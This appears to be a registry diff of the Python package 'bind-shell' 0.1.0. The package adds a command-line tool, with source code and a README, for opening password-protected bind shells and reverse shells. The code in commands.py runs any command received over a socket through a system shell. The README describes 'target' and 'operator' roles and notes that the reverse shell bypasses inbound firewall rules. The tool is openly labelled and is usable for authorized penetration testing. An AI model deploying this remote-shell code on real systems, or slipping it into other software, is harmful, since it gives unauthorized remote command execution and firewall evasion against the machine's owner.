bind-shell 0.1.0__py3-none-any.whl
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- bind_shell/__init__.py +12 -0
- bind_shell/__main__.py +3 -0
- bind_shell/app.py +85 -0
- bind_shell/commands.py +145 -0
- bind_shell-0.1.0.dist-info/METADATA +125 -0
- bind_shell-0.1.0.dist-info/RECORD +8 -0
- bind_shell-0.1.0.dist-info/WHEEL +4 -0
- bind_shell-0.1.0.dist-info/entry_points.txt +3 -0
bind_shell/__init__.py
ADDED
bind_shell/__main__.py
ADDED
bind_shell/app.py
ADDED
|
@@ -0,0 +1,85 @@
|
|
|
1
|
+
import secrets
|
|
2
|
+
import socket
|
|
3
|
+
import sys
|
|
4
|
+
import urllib.request
|
|
5
|
+
from typing import Annotated
|
|
6
|
+
|
|
7
|
+
import typer
|
|
8
|
+
|
|
9
|
+
from bind_shell import cli, logger
|
|
10
|
+
from bind_shell.commands import run_client, run_connect, run_listen, run_server
|
|
11
|
+
|
|
12
|
+
DEFAULT_PORT = 4444
|
|
13
|
+
|
|
14
|
+
|
|
15
|
+
def main():
|
|
16
|
+
try:
|
|
17
|
+
cli()
|
|
18
|
+
except Exception as e:
|
|
19
|
+
typer.echo(f"{e.__class__.__name__}: {e}")
|
|
20
|
+
sys.exit(1)
|
|
21
|
+
|
|
22
|
+
|
|
23
|
+
def _get_wan_ip() -> str | None:
|
|
24
|
+
try:
|
|
25
|
+
with urllib.request.urlopen("https://api.ipify.org", timeout=5) as resp:
|
|
26
|
+
return resp.read().decode()
|
|
27
|
+
except Exception:
|
|
28
|
+
return None
|
|
29
|
+
|
|
30
|
+
|
|
31
|
+
def _get_lan_ip() -> str | None:
|
|
32
|
+
try:
|
|
33
|
+
with socket.socket(socket.AF_INET, socket.SOCK_DGRAM) as s:
|
|
34
|
+
s.connect(("8.8.8.8", 80))
|
|
35
|
+
return s.getsockname()[0]
|
|
36
|
+
except Exception:
|
|
37
|
+
return None
|
|
38
|
+
|
|
39
|
+
|
|
40
|
+
def get_ip() -> str | None:
|
|
41
|
+
return _get_wan_ip() or _get_lan_ip() or "localhost"
|
|
42
|
+
|
|
43
|
+
|
|
44
|
+
def _generate_password() -> str:
|
|
45
|
+
return secrets.token_urlsafe(16)
|
|
46
|
+
|
|
47
|
+
|
|
48
|
+
@cli.command(name="server", help="Bind shell: bind a port and execute commands from an incoming client")
|
|
49
|
+
def server(
|
|
50
|
+
host: Annotated[str, typer.Option("--host", help="Host address to bind to")] = "0.0.0.0",
|
|
51
|
+
port: Annotated[int, typer.Option("--port", help="Port to listen on")] = DEFAULT_PORT,
|
|
52
|
+
):
|
|
53
|
+
ip = get_ip()
|
|
54
|
+
password = _generate_password()
|
|
55
|
+
logger.info(f"Bind-Shell Connection: bind-shell client {ip} --port {port} --password {password}")
|
|
56
|
+
run_server(host=host, port=port, password=password)
|
|
57
|
+
|
|
58
|
+
|
|
59
|
+
@cli.command(name="client", help="Bind shell: connect to a server and send commands interactively")
|
|
60
|
+
def client(
|
|
61
|
+
host: Annotated[str, typer.Argument(help="Host address of the bind shell server")],
|
|
62
|
+
port: Annotated[int, typer.Option("--port", help="Port to connect to")] = DEFAULT_PORT,
|
|
63
|
+
password: Annotated[str, typer.Option("--password", help="Password for authentication")] = ...,
|
|
64
|
+
):
|
|
65
|
+
run_client(host=host, port=port, password=password)
|
|
66
|
+
|
|
67
|
+
|
|
68
|
+
@cli.command(name="listen", help="Reverse shell: bind a port and send commands to an incoming connector")
|
|
69
|
+
def listen(
|
|
70
|
+
host: Annotated[str, typer.Option("--host", help="Host address to bind to")] = "0.0.0.0",
|
|
71
|
+
port: Annotated[int, typer.Option("--port", help="Port to listen on")] = DEFAULT_PORT,
|
|
72
|
+
):
|
|
73
|
+
ip = get_ip()
|
|
74
|
+
password = _generate_password()
|
|
75
|
+
logger.info(f"Reverse-Shell Connection: bind-shell connect {ip} --port {port} --password {password}")
|
|
76
|
+
run_listen(host=host, port=port, password=password)
|
|
77
|
+
|
|
78
|
+
|
|
79
|
+
@cli.command(name="connect", help="Reverse shell: connect out to a listener and execute its commands")
|
|
80
|
+
def connect(
|
|
81
|
+
host: Annotated[str, typer.Argument(help="Host address of the reverse shell listener")],
|
|
82
|
+
port: Annotated[int, typer.Option("--port", help="Port to connect to")] = DEFAULT_PORT,
|
|
83
|
+
password: Annotated[str, typer.Option("--password", help="Password for authentication")] = ...,
|
|
84
|
+
):
|
|
85
|
+
run_connect(host=host, port=port, password=password)
|
bind_shell/commands.py
ADDED
|
@@ -0,0 +1,145 @@
|
|
|
1
|
+
import socket
|
|
2
|
+
import subprocess
|
|
3
|
+
import sys
|
|
4
|
+
import threading
|
|
5
|
+
|
|
6
|
+
from bind_shell import logger
|
|
7
|
+
|
|
8
|
+
BUFFER_SIZE = 4096
|
|
9
|
+
CMD_TIMEOUT = 30
|
|
10
|
+
PROMPT = b"bind-shell$ "
|
|
11
|
+
|
|
12
|
+
|
|
13
|
+
def _auth_server(conn: socket.socket, password: str) -> bool:
|
|
14
|
+
conn.sendall(b"password: ")
|
|
15
|
+
try:
|
|
16
|
+
data = conn.recv(BUFFER_SIZE)
|
|
17
|
+
except (ConnectionResetError, BrokenPipeError):
|
|
18
|
+
return False
|
|
19
|
+
if data.decode(errors="replace").strip() == password:
|
|
20
|
+
conn.sendall(b"authenticated\n")
|
|
21
|
+
return True
|
|
22
|
+
conn.sendall(b"denied\n")
|
|
23
|
+
return False
|
|
24
|
+
|
|
25
|
+
|
|
26
|
+
def _auth_client(sock: socket.socket, password: str) -> bool:
|
|
27
|
+
challenge = sock.recv(BUFFER_SIZE)
|
|
28
|
+
if challenge != b"password: ":
|
|
29
|
+
return False
|
|
30
|
+
sock.sendall(f"{password}\n".encode())
|
|
31
|
+
response = sock.recv(BUFFER_SIZE)
|
|
32
|
+
return response.strip() == b"authenticated"
|
|
33
|
+
|
|
34
|
+
|
|
35
|
+
def _executor_loop(conn: socket.socket, prompt: bytes = PROMPT):
|
|
36
|
+
while True:
|
|
37
|
+
conn.sendall(prompt)
|
|
38
|
+
try:
|
|
39
|
+
data = conn.recv(BUFFER_SIZE)
|
|
40
|
+
except (ConnectionResetError, BrokenPipeError):
|
|
41
|
+
break
|
|
42
|
+
if not data:
|
|
43
|
+
break
|
|
44
|
+
cmd = data.decode(errors="replace").strip()
|
|
45
|
+
if cmd.lower() in ("exit", "quit"):
|
|
46
|
+
break
|
|
47
|
+
logger.info(f"$ {cmd}")
|
|
48
|
+
try:
|
|
49
|
+
result = subprocess.run(cmd, shell=True, capture_output=True, timeout=CMD_TIMEOUT) # nosec
|
|
50
|
+
output = result.stdout + result.stderr
|
|
51
|
+
except subprocess.TimeoutExpired:
|
|
52
|
+
output = b"Command timed out\n"
|
|
53
|
+
except Exception as e:
|
|
54
|
+
output = f"{e}\n".encode()
|
|
55
|
+
conn.sendall(output or b"\n")
|
|
56
|
+
|
|
57
|
+
|
|
58
|
+
def _interactive_loop(sock: socket.socket):
|
|
59
|
+
def _reader():
|
|
60
|
+
while True:
|
|
61
|
+
try:
|
|
62
|
+
data = sock.recv(BUFFER_SIZE)
|
|
63
|
+
except OSError:
|
|
64
|
+
break
|
|
65
|
+
if not data:
|
|
66
|
+
break
|
|
67
|
+
sys.stdout.buffer.write(data)
|
|
68
|
+
sys.stdout.buffer.flush()
|
|
69
|
+
|
|
70
|
+
threading.Thread(target=_reader, daemon=True).start()
|
|
71
|
+
|
|
72
|
+
try:
|
|
73
|
+
for line in sys.stdin:
|
|
74
|
+
sock.sendall(line.encode())
|
|
75
|
+
except OSError:
|
|
76
|
+
pass
|
|
77
|
+
|
|
78
|
+
|
|
79
|
+
def _executor_session(conn: socket.socket, addr: tuple, password: str):
|
|
80
|
+
logger.info(f"Client connected: {addr[0]}:{addr[1]}")
|
|
81
|
+
if not _auth_server(conn, password):
|
|
82
|
+
logger.info(f"Authentication failed: {addr[0]}:{addr[1]}")
|
|
83
|
+
return
|
|
84
|
+
try:
|
|
85
|
+
_executor_loop(conn, prompt=f"bind-shell@{addr[0]}$ ".encode())
|
|
86
|
+
finally:
|
|
87
|
+
logger.info(f"Client disconnected: {addr[0]}:{addr[1]}")
|
|
88
|
+
|
|
89
|
+
|
|
90
|
+
def _interactive_session(conn: socket.socket, addr: tuple, password: str):
|
|
91
|
+
if not _auth_server(conn, password):
|
|
92
|
+
sys.stdout.buffer.write(f"Authentication failed: {addr[0]}:{addr[1]}\n".encode())
|
|
93
|
+
sys.stdout.buffer.flush()
|
|
94
|
+
return
|
|
95
|
+
sys.stdout.buffer.write(f"Connected: {addr[0]}:{addr[1]}\n".encode())
|
|
96
|
+
sys.stdout.buffer.flush()
|
|
97
|
+
try:
|
|
98
|
+
_interactive_loop(conn)
|
|
99
|
+
finally:
|
|
100
|
+
sys.stdout.buffer.write(f"\nDisconnected: {addr[0]}:{addr[1]}\n".encode())
|
|
101
|
+
sys.stdout.buffer.flush()
|
|
102
|
+
|
|
103
|
+
|
|
104
|
+
def run_server(host: str, port: int, password: str):
|
|
105
|
+
with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as server:
|
|
106
|
+
server.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
|
|
107
|
+
server.bind((host, port))
|
|
108
|
+
server.listen(1)
|
|
109
|
+
try:
|
|
110
|
+
while True:
|
|
111
|
+
conn, addr = server.accept()
|
|
112
|
+
threading.Thread(target=_executor_session, args=(conn, addr, password), daemon=True).start()
|
|
113
|
+
except KeyboardInterrupt:
|
|
114
|
+
pass
|
|
115
|
+
|
|
116
|
+
|
|
117
|
+
def run_client(host: str, port: int, password: str):
|
|
118
|
+
with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as sock:
|
|
119
|
+
sock.connect((host, port))
|
|
120
|
+
if not _auth_client(sock, password):
|
|
121
|
+
raise Exception("Authentication failed")
|
|
122
|
+
_interactive_loop(sock)
|
|
123
|
+
|
|
124
|
+
|
|
125
|
+
def run_listen(host: str, port: int, password: str):
|
|
126
|
+
with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as server:
|
|
127
|
+
server.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
|
|
128
|
+
server.bind((host, port))
|
|
129
|
+
server.listen(1)
|
|
130
|
+
try:
|
|
131
|
+
while True:
|
|
132
|
+
conn, addr = server.accept()
|
|
133
|
+
with conn:
|
|
134
|
+
_interactive_session(conn, addr, password)
|
|
135
|
+
except KeyboardInterrupt:
|
|
136
|
+
pass
|
|
137
|
+
|
|
138
|
+
|
|
139
|
+
def run_connect(host: str, port: int, password: str):
|
|
140
|
+
with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as sock:
|
|
141
|
+
sock.connect((host, port))
|
|
142
|
+
local_ip, local_port = sock.getsockname()
|
|
143
|
+
if not _auth_client(sock, password):
|
|
144
|
+
raise Exception("Authentication failed")
|
|
145
|
+
_executor_loop(sock, prompt=f"bind-shell@{local_ip}:{local_port}$ ".encode())
|
|
@@ -0,0 +1,125 @@
|
|
|
1
|
+
Metadata-Version: 2.4
|
|
2
|
+
Name: bind-shell
|
|
3
|
+
Version: 0.1.0
|
|
4
|
+
Summary: A Typer CLI for creating and connecting to bind shells and reverse shells. Built on Python's stdlib socket — no external dependencies.
|
|
5
|
+
License: MIT
|
|
6
|
+
Author: Tyson Holub
|
|
7
|
+
Author-email: tyson@tysonholub.com
|
|
8
|
+
Requires-Python: >=3.10,<4.0
|
|
9
|
+
Classifier: License :: OSI Approved :: MIT License
|
|
10
|
+
Classifier: Programming Language :: Python :: 3
|
|
11
|
+
Classifier: Programming Language :: Python :: 3.10
|
|
12
|
+
Classifier: Programming Language :: Python :: 3.11
|
|
13
|
+
Classifier: Programming Language :: Python :: 3.12
|
|
14
|
+
Classifier: Programming Language :: Python :: 3.13
|
|
15
|
+
Classifier: Programming Language :: Python :: 3.14
|
|
16
|
+
Requires-Dist: typer (>=0.13,<0.14)
|
|
17
|
+
Description-Content-Type: text/markdown
|
|
18
|
+
|
|
19
|
+
# bind-shell 
|
|
20
|
+
|
|
21
|
+
A Typer CLI for creating and connecting to bind shells and reverse shells. Built on Python's stdlib socket — no external dependencies.
|
|
22
|
+
|
|
23
|
+
## Install
|
|
24
|
+
|
|
25
|
+
Use [pipx](https://pypa.github.io/pipx/) to install globally in an isolated python environment.
|
|
26
|
+
|
|
27
|
+
```bash
|
|
28
|
+
pipx install bind-shell
|
|
29
|
+
```
|
|
30
|
+
|
|
31
|
+
## Usage
|
|
32
|
+
|
|
33
|
+
```
|
|
34
|
+
Usage: bind-shell [OPTIONS] COMMAND [ARGS]...
|
|
35
|
+
|
|
36
|
+
╭─ Options ───────────────────────────────────────────────────────────────────────────────────╮
|
|
37
|
+
│ --install-completion Install completion for the current shell. │
|
|
38
|
+
│ --show-completion Show completion for the current shell, to copy it or │
|
|
39
|
+
│ customize the installation. │
|
|
40
|
+
│ --help Show this message and exit. │
|
|
41
|
+
╰─────────────────────────────────────────────────────────────────────────────────────────────╯
|
|
42
|
+
╭─ Commands ──────────────────────────────────────────────────────────────────────────────────╮
|
|
43
|
+
│ server Bind shell: bind a port and execute commands from an incoming client │
|
|
44
|
+
│ client Bind shell: connect to a server and send commands interactively │
|
|
45
|
+
│ listen Reverse shell: bind a port and send commands to an incoming connector │
|
|
46
|
+
│ connect Reverse shell: connect out to a listener and execute its commands │
|
|
47
|
+
╰─────────────────────────────────────────────────────────────────────────────────────────────╯
|
|
48
|
+
```
|
|
49
|
+
|
|
50
|
+
### Bind shell
|
|
51
|
+
|
|
52
|
+
In a bind shell the **target runs `server`** — it binds a port and waits. The operator runs `client` to connect in and issue commands.
|
|
53
|
+
|
|
54
|
+
**On the target:**
|
|
55
|
+
|
|
56
|
+
```bash
|
|
57
|
+
$ bind-shell server
|
|
58
|
+
Bind-Shell Connection: bind-shell client 12.34.77.19 --port 4444 --password ZngSIZMqels2THrqblTDgg
|
|
59
|
+
```
|
|
60
|
+
|
|
61
|
+
**On the operator:**
|
|
62
|
+
|
|
63
|
+
```bash
|
|
64
|
+
$ bind-shell client 12.34.77.19 --port 4444 --password ZngSIZMqels2THrqblTDgg
|
|
65
|
+
```
|
|
66
|
+
|
|
67
|
+
### Reverse shell
|
|
68
|
+
|
|
69
|
+
In a reverse shell the **operator runs `listen`** — it binds a port and waits. The target runs `connect` to call back out, bypassing inbound firewall rules.
|
|
70
|
+
|
|
71
|
+
**On the operator:**
|
|
72
|
+
|
|
73
|
+
```bash
|
|
74
|
+
$ bind-shell listen
|
|
75
|
+
Reverse-Shell Connection: bind-shell connect 12.34.77.19 --port 4444 --password ayCWsj2oRCo7ZgG-kCwLJw
|
|
76
|
+
```
|
|
77
|
+
|
|
78
|
+
**On the target:**
|
|
79
|
+
|
|
80
|
+
```bash
|
|
81
|
+
$ bind-shell connect 12.34.77.19 --port 4444 --password ayCWsj2oRCo7ZgG-kCwLJw
|
|
82
|
+
```
|
|
83
|
+
|
|
84
|
+
### Options
|
|
85
|
+
|
|
86
|
+
All commands accept `--port` (default: `4444`). `server` and `listen` also accept `--host` to control the bind address (default: `0.0.0.0`). `client` and `connect` require `--password` generated by `server` or `listen`.
|
|
87
|
+
|
|
88
|
+
```bash
|
|
89
|
+
bind-shell server --host 0.0.0.0 --port 4444
|
|
90
|
+
bind-shell client <ip> --port 4444 --password some-pass
|
|
91
|
+
bind-shell listen --host 0.0.0.0 --port 4444
|
|
92
|
+
bind-shell connect <ip> --port 4444 --password some-pass
|
|
93
|
+
```
|
|
94
|
+
|
|
95
|
+
Type `exit` or `quit` to close a session.
|
|
96
|
+
|
|
97
|
+
## Dev Prerequisites
|
|
98
|
+
|
|
99
|
+
- python >=3.10
|
|
100
|
+
- [pipx](https://pypa.github.io/pipx/), an optional tool for prerequisite installs
|
|
101
|
+
- [poetry](https://github.com/python-poetry/poetry) (install globally with `pipx install poetry`)
|
|
102
|
+
- [flake8](https://github.com/PyCQA/flake8) (install globally with `pipx install flake8`)
|
|
103
|
+
- [flake8-bugbear](https://github.com/PyCQA/flake8-bugbear) extension (install with `pipx inject flake8 flake8-bugbear`)
|
|
104
|
+
- [flake8-naming](https://github.com/PyCQA/pep8-naming) extension (install with `pipx inject flake8 pep8-naming`)
|
|
105
|
+
- [black](https://github.com/psf/black) (install globally with `pipx install black`)
|
|
106
|
+
- [pre-commit](https://github.com/pre-commit/pre-commit) (install globally with `pipx install pre-commit`)
|
|
107
|
+
- [just](https://github.com/casey/just), a Justfile command runner
|
|
108
|
+
|
|
109
|
+
## Updating python version
|
|
110
|
+
|
|
111
|
+
- Update python version in `Dev Prerequisites` above
|
|
112
|
+
- Update \[tool.poetry.dependencies\] section of `pyproject.toml`
|
|
113
|
+
- Update pyupgrade hook in `.pre-commit-config.yaml`
|
|
114
|
+
- Update python version in `.gitlab-ci.yml`
|
|
115
|
+
|
|
116
|
+
## Justfile Targets
|
|
117
|
+
|
|
118
|
+
- `install`: installs poetry dependencies and pre-commit git hooks
|
|
119
|
+
- `update_boilerplate`: fetches and applies updates from the boilerplate remote
|
|
120
|
+
- `test`: runs pytest with test coverage report
|
|
121
|
+
|
|
122
|
+
## Boilerplate
|
|
123
|
+
|
|
124
|
+
This project tracks the [pyplate](git@gitlab.com:tysonholub/pyplate.git) boilerplate via the `boilerplate` git remote. Run `just update_boilerplate` to pull latest changes. **NOTE**: keep the boilerplate remote history intact to successfully merge future updates.
|
|
125
|
+
|
|
@@ -0,0 +1,8 @@
|
|
|
1
|
+
bind_shell/__init__.py,sha256=g6St0rtB1Vrt8nR38Zr9vgC23edyfSYjuQ9S3BFCRWQ,231
|
|
2
|
+
bind_shell/__main__.py,sha256=BL6dBHeTIyQg3Cf3nFtj0LrdXBPt9WLBCVNN3XaUFXI,34
|
|
3
|
+
bind_shell/app.py,sha256=bkvD5sIrGs7ShRKz7wdnrQ_7XYaSBGioJruIp2QUBsg,2933
|
|
4
|
+
bind_shell/commands.py,sha256=gDEKuDDT2e9nSvA53Eo7Tbt7TTFsJLng7RnTdJnXi-Y,4707
|
|
5
|
+
bind_shell-0.1.0.dist-info/METADATA,sha256=sl2-KW2dQje214ZCHbpeOuqZHqIP5fcX0uHXIZ-Hp3M,6016
|
|
6
|
+
bind_shell-0.1.0.dist-info/WHEEL,sha256=EGEvSphFYqXKs23-kQBeyNoJP1nrT8ZJKQoi5p5DYL8,88
|
|
7
|
+
bind_shell-0.1.0.dist-info/entry_points.txt,sha256=dOHdvdOTFEf5ormc-mamXjBXvqVwMJLQ-KLd41al1lM,50
|
|
8
|
+
bind_shell-0.1.0.dist-info/RECORD,,
|